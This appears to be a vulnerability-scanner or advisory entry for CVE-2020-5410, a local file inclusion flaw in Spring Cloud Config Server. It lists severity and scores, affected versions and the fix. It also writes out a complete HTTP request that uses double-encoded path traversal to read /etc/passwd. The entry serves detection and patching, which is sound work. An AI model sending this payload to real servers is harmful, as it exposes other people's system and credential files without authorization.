| Title | Spring Cloud Config Server - Local File Inclusion |
|---|---|
| Author | mavericknerd |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure. |
| Remediation | Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94323 |
| CVE ID | CVE-2020-5410 |
| CWE ID | CWE-23,CWE-22 |
| Tags | cve cve2020 lfi springcloud config traversal kev vmware vkev vuln |
Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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